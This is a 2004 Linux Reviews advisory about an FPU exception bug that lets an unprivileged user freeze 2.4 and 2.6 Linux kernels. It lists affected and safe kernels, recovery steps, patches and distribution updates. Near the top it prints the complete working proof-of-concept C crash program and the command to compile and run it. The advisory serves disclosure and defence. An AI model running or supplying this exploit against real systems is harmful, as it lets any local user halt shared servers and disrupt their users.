

New Kernel Crash-Exploit discovered

Published 2004-06-11 by xiando, v3.0.4, last updated 2004-06-17.

A Linux kernel bug allows a simple C program crash the kernel, effectively locking the whole system. The security hole affects both 2.4.2x and 2.6.x kernels on the x86 and x86_64 architectures.

1. The Evil Code
 2. The Crashing Kernels
 3. The safe kernels
 4. The threat
 - ◆ 4.1. Be prepared
 5. How to protect yourself
 - ◆ 5.1. Patch for 2.4.2x Kernels, x86 and x86_64
 - ◆ 5.2. Patch for 2.6.xx Kernels, x86 and x86_64
 - ◆ 5.3. Fedora Core 2 users
 - ◆ 5.4. Gentoo Linux users
 - ◆ 5.5. Suse Linux users
 - ◆ 5.6. Trustix Operating System
 6. Bug reports
-

The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too.

The flaw was by accident discovered by Stian Skjelstad when he was doing some code tests while on vacation. He was quite surprised when he discovered that the code he was trying froze his machine. He reported it to

New Kernel Crash-Exploit discovered (Linux Reviews)

the Linux-kernel mailing list and the gcc bugzilla 2004-06-09.

1. The Evil Code

Running this simple C program crashes the Linux kernel.

krnl-1.c.txt

```
/* -----
 * frstor Local Kernel exploit
 * Crashes any kernel from 2.4.18
 * to 2.6.7 because frstor in assembler
 * inline offsets in memory by 4.
 * Original proof of concept code
 * by stian_@_nixia.no.
 * Added some stuff by lorenzo_@_gnu.org
 * and fixed the fsave line with (*fpubuf).
 * -----
 */

/*
-----
Some debugging information made
available by stian_@_nixia.no
-----
TakeDown:
    pushl    %ebp
    movl    %esp, %ebp
    subl    $136, %esp
    leal    -120(%ebp), %eax
    movl    %eax, -124(%ebp)
#APP
    fsave  -124(%ebp)

#NO_APP
    subl    $4, %esp
    pushl   $1
    pushl   $.LC0
    pushl   $2
    call    write
    addl    $16, %esp
    leal    -120(%ebp), %eax
```

New Kernel Crash-Exploit discovered (Linux Reviews)

```
        movl    %eax, -128(%ebp)
#APP
        frstor -128(%ebp)

#NO_APP
        leave
        ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
    char fpubuf[108];
    // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
    __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
    write(2, "*", 1);
    __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
    struct itimerval spec;
    signal(SIGALRM, TakeDown);
    spec.it_interval.tv_sec=0;
    spec.it_interval.tv_usec=100;
    spec.it_value.tv_sec=0;
    spec.it_value.tv_usec=100;
    setitimer(ITIMER_REAL, &spec, NULL);
    while(1)
        write(1, ".", 1);

    return 0;
}
// <<EOF
```

(Original: [crash.c.txt](#))

This bug is confirmed to be present when the code is compiled with GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.

2. The Crashing Kernels

Minor numbers are versions verified, this is just the top the iceberg:

- Linux 2.6.x
 - ◆ 2.6.7-rc2
 - ◆ 2.6.6 (vanilla)
 - ◆ 2.6.6-rc1 SMP (verified by blaise)
 - ◆ 2.6.6 SMP (verified by riven)
 - ◆ 2.6.6-debian (verified by arturaz)
 - ◆ 2.6.5-gentoo (verified by RatiX)
 - ◆ 2.6.5-mm6 - (verified by Mariux)
 - ◆ 2.6.5 (fedora core 2 vanilla)
 - ◆ 2.6.3-13mdk (Mandrake)
- Linux 2.4.2x
 - ◆ 2.4.26 vanilla
 - ◆ 2.4.26, grsecurity 2.0 config
 - ◆ 2.4.26-rc1 vanilla
 - ◆ 2.4.26-gentoo-r1
 - ◆ 2.4.22
 - ◆ 2.4.22-1.2188 Fedora FC1 Kernel
 - ◆ 2.4.20 RH7.3 (gcc 2.96)
 - ◆ 2.4.18-bf2.4 (debian woody vanilla)

Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." *Vincent*

Assume your kernel is vulnerable unless you have good reason to believe it is safe.

3. The safe kernels

This code does nothing but exit with the error message `Floating point exception` and can not do any damage to systems running

- Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) *Dylan Smith*
- Linux Kernel 2.6.4 SMP patched with staircase scheduler *Guille*
- Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
- Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
- Linux Kernel 2.4.25-gentoo-r1 *Charles A. Haines* ([3G Publishing](#))
- 2.2.19-kernel

It is unclear *why* these specific Gentoo patch sets of the 2.4.26 kernel are safe. Other versions of the Gentoo kernel are not. (2.4.26-rc3-gentoo was, by chance, the kernel I was running when this code came to my attention..)

The user-mode Linux kernel 2.6.5-1um is safe. I *assume* this means other versions of user mode Linux are safe.

Linux Kernel 2.6.4 SMP *with patches* has been reported to be safe. Reporter uses a version patched with [Con Kolivas Staircase scheduler](#) (but it only affects to the task scheduler). Gcc version 3.3.3. "System did not crash, I left the crash program 10 minutes and after that i killed the task and I continued using my system". *Guille*

The glitch *is verified present* in Linux 2.5.6 SMP and Linux 2.6.6 SMP.

The bug is not present in 2.2.x, this bug only affects 2.4 and later.

4. The threat

Using this exploit to crash Linux systems only requires the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and **strongly** discouraged).

This code only works on x86 and x86_64 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.

SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine.

This is a big deal because it allows any customer annoyed at a web hosting provider or other similar services to shut down their whole service with a minimum of effort. Such an attack will not even be logged as the kernel immediately freezes.

"There's a path into the kernel where if there is a pending FP error, the kernel will end up taking an FP exception, and it will continue to take the FP exception forever. Duh." -Linus Torvalds

4.1. Be prepared

Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, `sync` (even `umount`) your file systems before testing. *If your system is a production server with 1000*

on line users then do not test this code on that box.

If you enabled Magic SysRq (`CONFIG_MAGIC_SYSRQ=y`, found in `make menuconfig` at `Kernel hacking -> Magic SysRq key`) in your kernel you can cleanly reboot if evil freezes your system with the following keyboard combination:

1. Alt-SysRq-R (keyboard in raw mode)
2. Alt-SysRq-S (save unsaved data to disk)
3. Alt-SysRq-E (send termination signal)
4. Alt-SysRq-I (send kill signal)
5. Alt-SysRq-U (remount all mounted file systems)
6. Alt-SysRq-B (reboots the system)

5. How to protect yourself

The last days were frustrating, I wanted to publish a fix together with the exploit code. Compiling a large number of different kernel versions just to find that `gcc crash.c -o evil && ./evil` halts the system is quite dull. I hoped some kernels would be unaffected because `2.4.26-rc3-gentoo` and `2.4.26_pre6-gentoo` are, but sadly almost all kernels versions die when `evil` is executed. Temporary fixes have been posted here (the `signal.c` patch by Stian Skjelstad and a how-to on installing `2.4.26-rc3-gentoo`, a kernel version I discovered was safe before patches became available), but none of these solutions were incredibly great.

Luckily, the kernel team were quick to release official patches. The right fixes are now declared by the all and mighty hero Linus Torvalds.

5.1. Patch for 2.4.2x Kernels, x86 and x86_64

- (The Right) Patch for 2.4.2x, x86:
 - ◆ Bitkeeper i387.h patch x86
- x86-64 is missing in Bitkeeper, André Tomt posted patches including `x86_64` at http://tomt.net/kernel/clear_fpu/
 - ◆ 24 kernel ia32-and-x86_64-fix-fpu-state.patch

Evil can not do any damage once this patch is applied, but it will keep running at 99% CPU until it is killed (like any other process).

Follow these steps to get a safe vanilla kernel:

1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel

2. Download the latest kernel source, `linux-2.4.26.tar.bz2`, from your local [Linux Kernel Mirror](#)
3. Unpack the kernel source and make a symbolic link:
 - ◆ `cd /usr/src/`
 - ◆ `tar xfvj linux-2.4.26.tar.bz2`
 - ◆ `ln -s linux-2.4.26 linux`
4. Download the patch for 2.4.26:
[24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt](#)
5. Apply the patch
 - ◆ `patch -p1 -d /usr/src/linux-2.4.26`
`<24_kernel_ia32-and-x86_64-fix-fpu-state.patch.`
6. Configure and compile as usual.
 - ◆ `make dep bzImage modules modules_install`
 - ◆ `mount /boot` (some distributions mount /boot on startup)
 - ◆ `cp arch/i386/boot/bzImage /boot`

The patches should apply cleanly to all 2.4.xx versions.

5.2. Patch for 2.6.xx Kernels, x86 and x86_64

Linux kernel 2.6.7 is now released. (2004-06-16 06:02 UTC)

- Changelog : [ChangeLog-2.6.7](#)

This version is, ofcourse, safe.

Older versions of the 2.6.x should be patched:

- Patch for 2.6.x, x86:
 - ◆ [Bitkeeper i387.h patch x86](#)
- Patch for 2.6.x, x86_64:
 - ◆ [Bitkeeper i387.h patch x86_64](#)

- Both: [26_kernel_ia32-and-x86_64-fix-fpu-state.patch](#)

1. Read the [Kernel Rebuild Guide](#) if this is your first time compiling your own kernel
2. Get a 2.6.x kernel from kernel.org and unpack it to /usr/src
3. Get [26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt](#)
4. `patch -p1 -d /usr/src/linux-2.6.7-rc2 <26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt`
5. Follow the usual steps.

5.3. Fedora Core 2 users

Red Hat has now released a patched kernel for Fedora Core 2. ([Fedora Update Notification FEDORA-2004-171](#) 2004-06-14)

```
sudo yum -y update kernel*
```

will upgrade your kernel to the safe Version : 2.6.6, Release : 1.435.

5.4. Gentoo Linux users

Safe (patched) kernels for [Gentoo Linux](#) were released 2004-06-14:

- [gentoo-sources 2.4.26-r2](#)
 - ◆ Full sources including the gentoo patchset for the 2.4 kernel tree
- [gaming-sources 2.4.20-r12](#)
 - ◆ Full sources for the Gentoo gaming-optimized kernel
- [gs-sources 2.4.25_pre7-r6](#)
 - ◆ This kernel stays up to date with current kernel -pres, with recent acpi, evms, win4lin, futexes, aic79xx, superfreeswan, preempt, and various hw fixes.
- [xfs-sources 2.4.24-r7](#)

- ◆ Full sources for the XFS Specialized Gentoo Linux kernel
- vserver-sources 2.4.26.1.3.9-r1
 - ◆ Linux kernel with DEVEL version ctx-/vserver-patch

5.5. Suse Linux users

- SUSE Security Announcement: kernel SuSE-SA:2004:017
(2004-06-16)

5.6. Trustix Operating System

- Trustix Secure Linux Bugfix Advisory 2004-0034 (2004-06-16)

6. Bug reports

- The exploit was reported as gcc bug 15905 2004-06-09.
 - This is reported to the linux-kernel list with the subject timer + fpu stuff locks my console race 2004-06-09.
 - Reported to Gentoo Bugzilla as bug 53804 2004-06-13
-

The author of this page, Øyvind Sæther, did not discover the bug, nor did he come up with any solutions. He was, however, the first person to publish information about it on a website. He was also the first person to publish Stian Skjelstad's unofficial signal.c patch -- simply because Stian put me as a CC when he mailed it to the lkml list. He was also quick to publish the official patches because he subscribed to the lkml list and was reading his mail when they were released.

> [Linux Reviews](#) > [News and headlines](#) > [2004 News archive](#) > [June](#) >
New Kernel Crash-Exploit discovered